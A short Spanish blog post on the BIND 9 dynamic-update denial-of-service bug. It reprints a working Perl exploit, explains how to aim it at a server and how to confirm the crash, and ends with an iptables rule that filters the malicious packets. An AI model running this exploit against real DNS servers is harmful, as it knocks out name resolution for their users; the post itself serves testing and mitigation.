•
Exploit de BIND 9 – Dynamic Update DoS
Tal como se indica en la nota del ISC sobre el exploit de BIND existe un exploit disponible que puede realizar una denegación de servicio a todos los BIND 9 no parcheados
En el bug report de debian podemos ver un simple exploit en perl:
#!/usr/bin/perl -w
use Net::DNS;
our $NSI = 'dns server';
our $NSI_KEY_NAME = 'key name';
our $NSI_KEY = 'key';
my $rzone = 'zone';
my $rptr = "$rzone";
my $packet = Net::DNS::Update->new($rzone);
$packet->push(
pre => Net::DNS::RR->new(
Name => $rptr,
Class => 'IN',
Type => 'ANY',
TTL => 0,
)
);
$packet->push(
update => Net::DNS::RR->new(
Name => $rptr,
Class => 'ANY',
Type => 'ANY',
)
);
$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;
print $packet->string;
Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);
Para probarlo en nuestro servidor simplemente tenemos que rellenar los siguientes valores:
- our $NSI: IP del servidor que queremos atacar, por ejemplo 127.0.0.1
- my $rzone: Zona presente en dicho servidor
- my $rptr: Alias que exista en la zona
La siguiente linea la podemos eliminar:
$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;
Igualmente las siguientes dos variables se puede ignorar:
our $NSI_KEY_NAME = 'key name'; our $NSI_KEY = 'key';
Sabremos cuando ha tenido éxito el ataque cuando el script no termine inmediatamente. Debemos recordar que dicho exploit solo afecta a los servidores master, por lo que los servidores slave están a salvo.
Para filtrar este tipo de paquetes siempre lo podemos hacer con iptables:
iptables -A INPUT -p udp --dport 53 -j DROP -m u32 --u32 '30>>27&0xF=5'
Relacionados
Imprimir
Deja un comentario: